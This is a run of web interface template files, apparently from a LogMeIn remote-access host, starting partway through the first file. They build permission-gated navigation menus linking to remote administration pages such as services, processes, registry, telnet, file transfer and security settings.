<?if ACTIONS has "-cfgfilter-"		?>addSub(true,  '$MSG.CONFIG.IPFILTER.TITLE$',		'cfgfilter.html'		);<?endif?>
<?if ACTIONS has "-filefind-"		?>addSub(false, '$MSG.INFO.LOGS.TITLE$',			'logs.html'				);<?endif?>
<?if ACTIONS has "-sslinfo-"		?>addSub(true,  '$MSG.CONFIG.SSL.TITLE$',			'cfgssl.html'			);<?endif?>
<?if not LOCALSYSTEM?>
<?if ACTIONS has "-pwdchg-"	    ?>addSub(true,  '$MSG.CHGPWD.TITLE$',				'chgpwd.html'			);<?endif?>
<?endif?>
<?if ACTIONS has "-websecurity"		?>addSub(true,  '$MSG.WEBSVC.SECURITY.TITLE$',		'lmisecurity.html'		);<?endif?>
<?if ACTIONS has "-recent-"			?>addSub(true,  '$MSG.INFO.CONNS.RECENT$',			'recent.html'			);<?endif?>
<?endif?>
<?if not BRAND.LOGMEIN and DISPLAYPREFS?>
addTop('$MSG.MENU.PREFER$', 'pref');
<?if ACTIONS has "-cfgappearance-"	?>addSub(true,  '$MSG.CONFIG.APPEARANCE.TITLE$',	'cfgappearance.html'	);<?endif?>
<?if ACTIONS has "-cfgnet-"			?>addSub(true,  '$MSG.CONFIG.NET.TITLE$',			'cfgnet.html'			);<?endif?>
<?if ACTIONS has "-cfgcolor-"		?>addSub(true,  '$MSG.CONFIG.COLORS.TITLE$',		'cfgcolors.html'		);<?endif?>
<?if ACTIONS has "-cfglog-"			?>addSub(true,  '$MSG.CONFIG.LOG.TITLE$',			'cfglog.html'			);<?endif?>
<?if ACTIONS has "-cfgodbc-"		?>addSub(true,  '$MSG.CONFIG.ODBC.TITLE$',			'cfgodbc.html'			);<?endif?>
<?if ACTIONS has "-cfglicense-"?>
<?if BRAND.LOGMEIN?>
addSub(true,  '$MSG.CONFIG.LICENSE.TITLE$',	'cfglicense.html?step=usews');
<?else?>
addSub(true,  '$MSG.CONFIG.LICENSE.TITLE$',	'cfglicense.html');
<?endif?>
<?endif?>
<?if ACTIONS has "-cfgremctrl-"		?>addSub(true,  '$MSG.CONFIG.REMCTRL.TITLE$',		'cfgremctrl.html'		);<?endif?>
<?if not BRAND.LOGMEIN?>
<?if ACTIONS has "-cfgtelnet-"	?>addSub(true,  '$MSG.CONFIG.TELNET.TITLE$',		'cfgtelnet.html'		);<?endif?>
<?endif?>
<?if ACTIONS has "-cfgssh-"			?>addSub(true,  '$MSG.CONFIG.SSH.TITLE$',			'cfgssh.html'			);<?endif?>
<?if not BRAND.LOGMEIN?>
<?if ACTIONS has "-ralist-"		?>addSub(true,  '$MSG.CONFIG.NETMAINT.TITLE$',		'netmaint.html'			);<?endif?>
<?endif?>
<?if ACTIONS has "-cfgadvanced-"	?>addSub(true,  '$MSG.CONFIG.ADVANCED.TITLE$',		'cfgadvanced.html'		);<?endif?>
<?endif?>
<?if BRAND.LOGMEIN?>
<?if DISPLAYPREFS or DISPLAYSEC?>
addTop('$MSG.MENU.PREFER$', 'pref');
<?if DISPLAYPREFS?>
addSub(true, '$MSG.CONFIG.TOOLKIT.GENERAL.TITLE$',  'prefgeneral.html');
<?endif?>
<?if DISPLAYSEC?>
addSub(true, '$MSG.CONFIG.TOOLKIT.SECURITY.TITLE$', 'prefsecurity.html');
<?endif?>
<?if DISPLAYPREFS?>
addSub(true, '$MSG.CONFIG.TOOLKIT.ADVANCED.TITLE$', 'prefadvanced.html');
<?endif?>
<?endif?>
<?if ACTIONS has "-cfgrsa-"			?>addSub(true,  '$MSG.LOGIN.RSA.NAME$',				'cfgrsa.html'			);<?endif?>
<?endif?>
<?if not BRAND.LOGMEIN?>
addTop('$MSG.INFO.ABOUT.TITLE$', 'info', 'info.html?page=about');
<?endif?>
<?if ACTIONS has "-cfgappearance-" or CFG.CustomPages.Directory?>
<?if not BRAND.LOGMEIN?>
addTop('$MSG.CONFIG.CUSTPAGES.TITLE$', 'custom', 'custom.html');
<?endif?>
<?endif?>
<?if ACTIONS has "-htmail-"?>
addTop('$MSG.HTMAIL.TITLE$', 'email', 'htmail.html');
<?endif?>
<?if BRAND.LOGMEIN?>
addTop('$MSG.DASH.HELP$', 'info', 'lmihelp.html');
<?endif?>
<?if ACTIONS has "-actiondebug-"	?>addTop('Debug', 'debug', 'debug.html'		);<?endif?>
addTop('$MSG.MENU.LMI.DISCONNECT$', 'disconnect', 'default.html?logout=yes', '_top');
document.write(tree);
} else {
location.replace('menulight.html');
}
</script>
<iframe src="title.html" name="title" id="title" height="50" width="191" scrolling="no" frameborder="0" allowtransparency="true"></iframe>
</div><!-- menubar -->
<?if not BRAND.LOGMEIN?>
<div style="position: absolute; bottom: 0; left: 0; width: 190px; text-align: center; z-index: 1;">
<?set LOGOBG=COLOR.MenuBack?>
<?include "logo.html"?>
<?if CFG.Appearance.MenuLogo = "1"?>
<iframe src="menulogo.html" name="menulogo" id="menulogo_frame" width="190" scrolling="no" frameborder="0" allowtransparency="true"></iframe>
<?endif?>
</div>
<?endif?>
</div><!-- menucontent -->
<div id="menuSplitter" class="menuSplitter" onclick="minmaxMenu(this, true);" title="$MSG.MENU.MINIMIZEMENU$" onmouseover="minmaxOnMouseOver();" onmouseout="minmaxOnMouseOut();">
<img id="minmaxButton" src="img/menu_splitter_close.gif" style="width: 7px; height: 49px; position: relative; top: 48%;" />
</div>
<div id="watchdogcontainer" style="position: absolute; background-color: #00496e; top: 0px; left: 0px; width: 1px; height: 1px;">
<?if HTTP.USERAGENT.IE and NOT HTTP.USERAGENT.RACONSOLE
set BG="#00496e"
include "watchdog.html"
else?>
<iframe src="watchdog_wrapper.html" width="1" height="1" frameborder="0"></iframe>
<?endif?>
</div>
<?include "webkeepalive.html"?>
</body>
<script type="text/javascript">
if (!LMIBrowserInfo.IsPluginsSupported() || "$HTTP.USERAGENT$" == "RAConsole") {
_("watchdogcontainer").innerHTML = "";
}
</script>
</html>

{menu.wmlX<?ratmpl?>
<?if WAP.HIRES?><?set MENUSEP=" - "?><?else?><?set MENUSEP="<br/>"?><?endif?>
<p align="center">

<?if ACTIONS has "-osinfo-"?>
<?action "osinfo"?>
<?&OS.NAME?> <?&OS.VER?> <?&OS.CSD?>
<br/>
<?action "cpuinfo"?>
<?&MSG.PERF.TYPE.CPU?>: <?&CPU.USAGE?>%
<img src="percentbar.wbmp?percent=%CPU.USAGE%" alt=""/>
<br/>
<?action "meminfo"?>
<?&MSG.PERF.TYPE.MEM?>: <?&MEMC.USEDP?>%
<img src="percentbar.wbmp?percent=%MEMC.USEDP%" alt=""/>
<br/>
<?endif?>

<anchor><?&MSG.DIALOG.MAINMENU?>
<go href="/main.wml" method="get"></go>
</anchor>
<br/>
<?if ACTIONS has "-svcinfo-"?>
<?=MENUSEP?>
<anchor><?&MSG.ADMIN.SERVICE.TITLE?>
<go href="/svclist.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="what" value="svc"/>
<postfield name="cnt" value="5"/>
</go>
</anchor>
<?=MENUSEP?>
<anchor><?&MSG.ADMIN.SERVICE.DRVTITLE?>
<go href="/svclist.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="what" value="drv"/>
<postfield name="cnt" value="5"/>
</go>
</anchor>
<?endif?>

<?if ACTIONS has "-procinfo-"?>
<?=MENUSEP?>
<anchor><?&MSG.ADMIN.PROCESS.TITLE?>
<go href="/procmenu.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<?endif?>

<?if ACTIONS has "-perfmon-"?>
<?=MENUSEP?>
<anchor><?&MSG.PERF.TITLE?>
<go href="/perfmon.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<?endif?>

<?if ACTIONS has "-restart-"?>
<?=MENUSEP?>
<anchor><?&MSG.ADMIN.REBOOT.TITLE?>
<go href="/restart.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<?endif?>

<?if ACTIONS has "-cmdline-"?>
<?=MENUSEP?>
<anchor><?&MSG.TELNET.TITLE?>
<go href="/telnet.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<?endif?>

<?if ACTIONS has "-evtinfo-"?>
<?=MENUSEP?>
<anchor><?&MSG.ADMIN.EVENTS.TITLE?>
<go href="/evtlogs.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
<?endif?>


<?=MENUSEP?>
<anchor><?&MSG.LOGOUT.TITLE?>
<go href="/logout.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor>
</p>
ZgI
menufoot.html֊<?ratmpl?>
<br>
<center>
<?if DISPLAYCHGUI?>
<br><a href="main.html?ui=secrem" target="_parent" title="&MSG.WEBSVC.UI.TOBASIC.DESC&"><img src="img/sr_simpleview.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0"><br>&MSG.WEBSVC.UI.TOBASIC&</a><br>
<?endif?>
</center>
tmenuitems.html<?ratmpl?>

<?// Do we want to display the SYSCFG menu?>
<?if ACTIONS has "-envlist-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>
<?if ACTIONS has "-vmeminfo-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>
<?if ACTIONS has "-timeset-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>
<?if ACTIONS has "-autologin-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>
<?if ACTIONS has "-shareinfo-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>
<?if ACTIONS has "-cfgautopri-"	?><?set session DISPLAYSYSCFG="1"?><?endif?>

<?// Do we want to display the SYSMGR menu?>
<?if ACTIONS has "-filelist-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>
<?if ACTIONS has "-userlist-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>
<?if ACTIONS has "-evtinfo-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>
<?if ACTIONS has "-svcinfo-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>
<?if ACTIONS has "-procinfo-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>
<?if ACTIONS has "-reginfo-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>
<?if ACTIONS has "-telnet-"		?><?set session DISPLAYSYSMGR="1"?><?endif?>
<?if ACTIONS has "-restart-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>
<?if ACTIONS has "-remctrl-"	?><?set session DISPLAYSYSMGR="1"?><?endif?>

<?// Do we want to display the SERVER menu?>
<?if ACTIONS has "-ftpserverlist-"	?><?set session DISPLAYSERVER="1"?><?endif?>
<?if ACTIONS has "-ftpconns-"		?><?set session DISPLAYSERVER="1"?><?endif?>
<?if ACTIONS has "-ftpserverstats-"	?><?set session DISPLAYSERVER="1"?><?endif?>
<?if ACTIONS has "-cfgpfwd-"		?><?set session DISPLAYSERVER="1"?><?endif?>
<?if ACTIONS has "-statpfwd-"		?><?set session DISPLAYSERVER="1"?><?endif?>
<?if ACTIONS has "-adsinfo-"		?><?set session DISPLAYSERVER="1"?><?endif?>

<?// Do we want to display the SCHEDULE menu?>
<?if ACTIONS has "-alertlist-"		?><?set session DISPLAYSCHED="1"?><?endif?>
<?if ACTIONS has "-taskinfo-"		?><?set session DISPLAYSCHED="1"?><?endif?>

<?// Do we want to display the PERFORMACE menu?>
<?if ACTIONS has "-perfmon-"	?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-hddlist-"	?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-portlist-"	?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-netlist-"	?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-objlistfile-"?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-objlistreg-"	?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-dlllist-"	?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-telnetconn-"	?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-applist-"	?><?set session DISPLAYPERF="1"?><?endif?>
<?if ACTIONS has "-mbminfo-"	?><?set session DISPLAYPERF="1"?><?endif?>

<?// Do we want to display the SECURITY menu?>
<?if UI != "secrem"?>
<? //the personal edition interface does not support changing the Windows password ?>
<?if not BRAND.LOGMEIN and ACTIONS has "-pwdchg-"		?><?set session DISPLAYSEC="1"?><?endif?>
<?endif?>
<?if ACTIONS has "-cfgperm-"	?><?set session DISPLAYSEC="1"?><?endif?>
<?if ACTIONS has "-cfgrsa-"		?><?set session DISPLAYSEC="1"?><?endif?>
<?if ACTIONS has "-lockout-"	?><?set session DISPLAYSEC="1"?><?endif?>
<?if ACTIONS has "-cfgfilter-"	?><?set session DISPLAYSEC="1"?><?endif?>
<?if not BRAND.LOGMEIN and ACTIONS has "-filefind-"	?><?set session DISPLAYSEC="1"?><?endif?>
<?if ACTIONS has "-sslinfo-"	?><?set session DISPLAYSEC="1"?><?endif?>
<?if not BRAND.LOGMEIN and ACTIONS has "-websecurity"	?><?set session DISPLAYSEC="1"?><?endif?>

<?// Do we want to display the PREFERENCES menu?>
<?if ACTIONS has "-cfgappearance-"	?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-cfgnet-"			?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-cfgcolor-"		?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-cfglog-"			?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-cfglicense-"		?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-cfgremctrl-"		?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-cfgtelnet-"		?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-cfgssh-"			?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-ralist-"			?><?set session DISPLAYPREFS="1"?><?endif?>
<?if ACTIONS has "-cfgodbc-"		?><?set session DISPLAYPREFS="1"?><?endif?>

<?// Do we want to display the UI switching menu option?>
<?if BRAND.LOGMEIN.IT?>
<?if not FORCEUI?>
<?set session DISPLAYCHGUI="1"?>
<?endif?>
<?endif?>

menulight.html9s<?ratmpl?>
<?nocache?>
<?
// go to login page if not logged in
if not USERNAME
redirect "/default.html"
endif

include "macros.html"
?>
<?defmacro INDENTI()?><img src="img/menu_I.gif" align="absmiddle"><img src="img/menu_T.gif" align="absmiddle"><img src="img/menu_file_info.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;<?endmacro?>
<?defmacro INDENTE()?><img src="img/menu_I.gif" align="absmiddle"><img src="img/menu_T.gif" align="absmiddle"><img src="img/menu_file_edit.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;<?endmacro?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<base target="body">
</head>

<body class="menu" style="white-space:nowrap;font:icon">
<?include "logo.html"?><br clear="all">
<img src="img/menu_ra.png?bg=%COLOR.MenuBack%" align="absmiddle">&nbsp;&SRVNAME&<br>
<img src="img/menu_T.gif" align="absmiddle"><a href="infolight.html?%RND%"><img src="img/menu_home.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.HOME&</a><br>
<?if ACTIONS has "-remctrl-"?><img src="img/menu_T.gif" align="absmiddle"><a href="remctrl.html?%RND%"><img src="img/menu_remote.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.REMCTRL.TITLE&</a><br><?endif?>
<?if ACTIONS has "-filexfer-"?><img src="img/menu_T.gif" align="absmiddle"><a href="filexfer.html?%RND%"><img src="img/menu_filetransfer.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.FILEXFER.TITLE&</a><br><?endif?>
<?if ACTIONS has "-filesharelist-"?><img src="img/menu_T.gif" align="absmiddle"><a href="lmishare.html?%RND%"><img src="img/menu_fileshare.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.WEBSVC.SHARE.TITLE&</a><br><?endif?>
<?if ACTIONS has "-guestinvite-" and not CFG.RemoteControl.AllowInvites = "0"?>
<img src="img/menu_T.gif" align="absmiddle"><a href="guestinvite.html?%RND%"><img src="img/menu_guestinvite.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.RAGUI.GUESTINVITE.START.CAPTION&</a><br><?endif?>
<?endif?>
<?if ACTIONS has "-chat-"?><img src="img/menu_T.gif" align="absmiddle"><a href="chat.html?%RND%"><img src="img/menu_chat.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.CHAT.TITLE&</a><br><?endif?>
<?if ACTIONS has "-loadtest-"?><img src="img/menu_T.gif" align="absmiddle"><a href="loadtest.html?%RND%"><img src="img/menu_ra.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;Load tester</a><br><?endif?>
<?if DISPLAYSYSMGR?>
<?if REQ.OPEN = "sysmgr"?>
<a href="&TEMPLATE&?%RND%" target="_self"><img src="img/menu_Tminus.gif" align="absmiddle" border="0"></a><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.SYSMGR&<br>
<?if ACTIONS has "-filelist-"		?><?usemacro INDENTE()?><a href="drives.html?%RND%">&MSG.MENU.FILEMAN&</a><br><?endif?>
<?if ACTIONS has "-userlist-"		?><?usemacro INDENTE()?><a href="userlist.html?%RND%">&MSG.ADMIN.USERMANAGER.TITLE&</a><br><?endif?>
<?if ACTIONS has "-evtinfo-"		?><?usemacro INDENTE()?><a href="evtlogs.html?%RND%">&MSG.ADMIN.EVENTS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-svcinfo-"		?><?usemacro INDENTE()?><a href="svclist.html?%RND%&what=svc">&MSG.ADMIN.SERVICE.TITLE&</a><br><?endif?>
<?if ACTIONS has "-procinfo-"		?><?usemacro INDENTE()?><a href="proclist.html?%RND%">&MSG.ADMIN.PROCESS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-svcinfo-"		?><?usemacro INDENTE()?><a href="svclist.html?%RND%&what=drv">&MSG.ADMIN.SERVICE.DRVTITLE&</a><br><?endif?>
<?if ACTIONS has "-reginfo-"		?><?usemacro INDENTE()?><a href="regframes.html?%RND%">&MSG.ADMIN.REGISTRY.TITLE&</a><br><?endif?>
<?if XTERM.SUPPORT?>
<?if ACTIONS has "-telnet-"		?>
<?usemacro INDENTE()?>
<?if HTTP.USERAGENT.RACONSOLE?>
<a href="telnet.html?%RND%">&MSG.TELNET.TITLE&</a><br>
<?else?>
<?if HTTP.USERAGENT.IE?>
<a href="hterm.html?%RND%" target="_blank">&MSG.TELNET.TITLE&</a><br>
<?else?>
<a href="term.html?%RND%" target="_blank">&MSG.TELNET.TITLE&</a><br>
<?endif?>
<?endif?>
<?endif?>
<?else?>
<?if ACTIONS has "-telnet-"			?><?usemacro INDENTE()?><a href="telnet.html?%RND%">&MSG.TELNET.TITLE&</a><br><?endif?>
<?endif?>
<?if ACTIONS has "-restart-"		?><?usemacro INDENTE()?><a href="restart.html?%RND%">&MSG.ADMIN.REBOOT.TITLE&</a><br><?endif?>
<?if ACTIONS has "-remctrl-"		?><?usemacro INDENTE()?><a href="remctrl.html?view=1%RND%">&MSG.REMCTRL.TITLEVIEWONLY&</a><br><?endif?>
<?else?>
<a href="&TEMPLATE&?open=sysmgr&%RND%" target="_self"><img src="img/menu_Tplus.gif" align="absmiddle" border="0"><img src="img/menu_manage.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.SYSMGR&</a><br>
<?endif?>
<?endif?>

<?if DISPLAYSYSCFG?>
<?if REQ.OPEN = "syscfg"?>
<a href="&TEMPLATE&?%RND%" target="_self"><img src="img/menu_Tminus.gif" align="absmiddle" border="0"></a><img src="img/menu_admin.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.SYSCFG&<br>
<?if ACTIONS has "-envlist-"		?><?usemacro INDENTE()?><a href="env.html?%RND%">&MSG.ADMIN.ENVIRON.TITLE&</a><br><?endif?>
<?if ACTIONS has "-vmeminfo-"		?><?usemacro INDENTE()?><a href="vmem.html?%RND%">&MSG.ADMIN.VMEM.TITLE&</a><br><?endif?>
<?if ACTIONS has "-timeget-"		?><?usemacro INDENTE()?><a href="time.html?%RND%">&MSG.ADMIN.TIME.TITLE&</a><br><?endif?>
<?if ACTIONS has "-autologin-"		?><?usemacro INDENTE()?><a href="autologon.html?%RND%">&MSG.ADMIN.AUTOLOGIN.TITLE&</a><br><?endif?>
<?if ACTIONS has "-shareinfo-"		?><?usemacro INDENTE()?><a href="share.html?%RND%">&MSG.ADMIN.SHARE.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgautopri-"		?><?usemacro INDENTE()?><a href="cfgautopri.html?%RND%">&MSG.ADMIN.AUTOPRI.TITLE&</a><br><?endif?>
<?else?>
<a href="&TEMPLATE&?open=syscfg&%RND%" target="_self"><img src="img/menu_Tplus.gif" align="absmiddle" border="0"><img src="img/menu_admin.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.SYSCFG&</a><br>
<?endif?>
<?endif?>

<?if DISPLAYSERVER?>
<?if REQ.OPEN = "functions"?>
<a href="&TEMPLATE&?%RND%" target="_self"><img src="img/menu_Tminus.gif" align="absmiddle" border="0"></a><img src="img/menu_server.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.FUNCTIONS&<br>
<?if ACTIONS has "-ftpserverlist-"?><?usemacro INDENTE()?><a href="ftplist.html?%RND%">&MSG.FTP.CONFIG&</a><br><?endif?>
<?if ACTIONS has "-ftpconns-"		?><?usemacro INDENTI()?><a href="ftpstatus.html?%RND%">&MSG.FTP.STATUS&</a><br><?endif?>
<?if ACTIONS has "-ftpservstats-"	?><?usemacro INDENTI()?><a href="ftpstats.html?%RND%">&MSG.FTP.STATS&</a><br><?endif?>
<?if ACTIONS has "-cfgpfwd-"		?><?usemacro INDENTE()?><a href="cfgportfwd.html?%RND%">&MSG.CONFIG.PORTFWD.TITLE&</a><br><?endif?>
<?if ACTIONS has "-statpfwd-"		?><?usemacro INDENTI()?><a href="statportfwd.html?%RND%">&MSG.CONFIG.PORTFWD.STATUSTITLE&</a><br><?endif?>
<?if ACTIONS has "-adsinfo-"		?><?usemacro INDENTI()?><a href="adsinfo.html?%RND%">&MSG.INFO.ADS.TITLE&</a><br><?endif?>
<?else?>
<a href="&TEMPLATE&?open=functions&%RND%" target="_self"><img src="img/menu_Tplus.gif" align="absmiddle" border="0"><img src="img/menu_server.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.FUNCTIONS&</a><br>
<?endif?>
<?endif?>

<?if DISPLAYSCHED?>
<?if REQ.OPEN = "sched"?>
<a href="&TEMPLATE&?%RND%" target="_self"><img src="img/menu_Tminus.gif" align="absmiddle" border="0"></a><img src="img/menu_schedule.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.SCHED&<br>
<?if ACTIONS has "-alertlist-"		?><?usemacro INDENTE()?><a href="emailAlert.html?%RND%">&MSG.ADMIN.ALERTS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-taskinfo-"		?><?usemacro INDENTE()?><a href="sched.html?%RND%">&MSG.ADMIN.SCHEDULE.TITLE&</a><br><?endif?>
<?else?>
<a href="&TEMPLATE&?open=sched&%RND%" target="_self"><img src="img/menu_Tplus.gif" align="absmiddle" border="0"><img src="img/menu_schedule.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.SCHED&</a><br>
<?endif?>
<?endif?>

<?if DISPLAYPERF?>
<?if REQ.OPEN = "perf"?>
<a href="&TEMPLATE&?%RND%" target="_self"><img src="img/menu_Tminus.gif" align="absmiddle" border="0"><img src="img/menu_perf.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.PERF.TITLE&</a><br>
<?if ACTIONS has "-perfmon-"		?><?usemacro INDENTI()?><a href="perfmon.html?%RND%&type=cpu">&MSG.PERF.TYPE.CPU&</a><br><?endif?>
<?if ACTIONS has "-perfmon-"		?><?usemacro INDENTI()?><a href="perfmon.html?%RND%&type=mem">&MSG.PERF.TYPE.MEM&</a><br><?endif?>
<?if ACTIONS has "-perfmon-"		?><?usemacro INDENTI()?><a href="perfmon.html?%RND%&type=drv">&MSG.PERF.TYPE.DRV&</a><br><?endif?>
<?if ACTIONS has "-hddlist-"		?><?usemacro INDENTI()?><a href="drvinfo.html?%RND%">&MSG.INFO.DRIVE.TITLE&</a><br><?endif?>
<?if ACTIONS has "-portlist-"		?><?usemacro INDENTI()?><a href="portlist.html?%RND%">&MSG.INFO.PORT.TITLE&</a><br><?endif?>
<?if ACTIONS has "-netlist-"		?><?usemacro INDENTI()?><a href="netinfo.html?%RND%">&MSG.INFO.NETINFO.TITLE&</a><br><?endif?>
<?if ACTIONS has "-objlistfile-"	?><?usemacro INDENTI()?><a href="objinfo.html?%RND%&showfile=1">&MSG.INFO.FILES.TITLE&</a><br><?endif?>
<?if ACTIONS has "-objlistreg-"		?><?usemacro INDENTI()?><a href="objinfo.html?%RND%&showregk=1">&MSG.INFO.REG.TITLE&</a><br><?endif?>
<?if ACTIONS has "-dlllist-"		?><?usemacro INDENTI()?><a href="dlllist.html?%RND%">&MSG.INFO.DLL.TITLE&</a><br><?endif?>
<?if ACTIONS has "-perfmon-"		?><?usemacro INDENTI()?><a href="connlist.html?%RND%">&MSG.INFO.CONNS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-telnetconn-"		?><?usemacro INDENTI()?><a href="telnetconn.html?%RND%">&MSG.CONFIG.TELNET.CONNECTIONS&</a><br><?endif?>
<?if ACTIONS has "-applist-"		?><?usemacro INDENTI()?><a href="apps.html?%RND%">&MSG.INFO.APPS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-mbminfo-"		?><?usemacro INDENTI()?><a href="perfmboard.html">&MSG.PERF.MBOARD.TITLE&</a><br><?endif?>
<?if ACTIONS has "-perfmon-"		?><?usemacro INDENTI()?><a href="driverlist.html?%RND%">&MSG.INFO.DRIVERLIST.TITLE&</a><br><?endif?>
<?else?>
<a href="&TEMPLATE&?open=perf&%RND%" target="_self"><img src="img/menu_Tplus.gif" align="absmiddle" border="0"><img src="img/menu_perf.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.PERF.TITLE&</a><br>
<?endif?>
<?endif?>

<?if DISPLAYSEC?>
<?if REQ.OPEN = "security"?>
<a href="&TEMPLATE&?%RND%" target="_self"><img src="img/menu_Tminus.gif" align="absmiddle" border="0"><img src="img/menu_secure.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.SECURITY&</a><br>
<?if ACTIONS has "-cfgperm-"		?><?usemacro INDENTE()?><a href="cfgperm.html?%RND%">&MSG.CONFIG.PERMISSIONS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgrsa-"			?><?usemacro INDENTE()?><a href="cfgrsa.html?%RND%">&MSG.LOGIN.RSA.NAME&</a><br><?endif?>
<?if ACTIONS has "-lockout-"		?><?usemacro INDENTE()?><a href="cfglockout.html?%RND%">&MSG.CONFIG.IPLOCKOUT.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgfilter-"		?><?usemacro INDENTE()?><a href="cfgfilter.html?%RND%">&MSG.CONFIG.IPFILTER.TITLE&</a><br><?endif?>
<?if ACTIONS has "-filefind-"		?><?usemacro INDENTI()?><a href="logs.html?%RND%">&MSG.INFO.LOGS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-sslinfo-"		?><?usemacro INDENTE()?><a href="cfgssl.html?%RND%">&MSG.CONFIG.SSL.TITLE&</a><br><?endif?>
<?if ACTIONS has "-pwdchg-"			?><?usemacro INDENTE()?><a href="chgpwd.html?%RND%">&MSG.CHGPWD.TITLE&</a><br><?endif?>
<?if ACTIONS has "-websecurity"		?><?usemacro INDENTE()?><a href="lmisecurity.html?%RND%">&MSG.WEBSVC.SECURITY.TITLE&</a><br><?endif?>
<?else?>
<a href="&TEMPLATE&?open=security&%RND%" target="_self"><img src="img/menu_Tplus.gif" align="absmiddle" border="0"><img src="img/menu_secure.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.SECURITY&</a><br>
<?endif?>
<?endif?>

<?if DISPLAYPREFS?>
<?if REQ.OPEN = "prefer"?>
<a href="&TEMPLATE&?%RND%" target="_self"><img src="img/menu_Tminus.gif" align="absmiddle" border="0"><img src="img/menu_pref.png?bg=%COLOR.MenuBack%" align="absmiddle" border="0">&nbsp;&MSG.MENU.PREFER&</a><br>
<?if ACTIONS has "-cfgappearance-"?><?usemacro INDENTE()?><a href="cfgappearance.html?%RND%">&MSG.CONFIG.APPEARANCE.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgnet-"       ?><?usemacro INDENTE()?><a href="cfgnet.html?%RND%">&MSG.CONFIG.NET.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgcolor-"     ?><?usemacro INDENTE()?><a href="cfgcolors.html?%RND%">&MSG.CONFIG.COLORS.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfglog-"       ?><?usemacro INDENTE()?><a href="cfglog.html?%RND%">&MSG.CONFIG.LOG.TITLE&</a><br><?endif?>
<?if ACTIONS has "-cfgodbc-"      ?><?usemacro INDENTE()?><a href="cfgodbc.html?%RND%">&MSG.CONFIG.ODBC.TITLE&</a><br><?endif?>
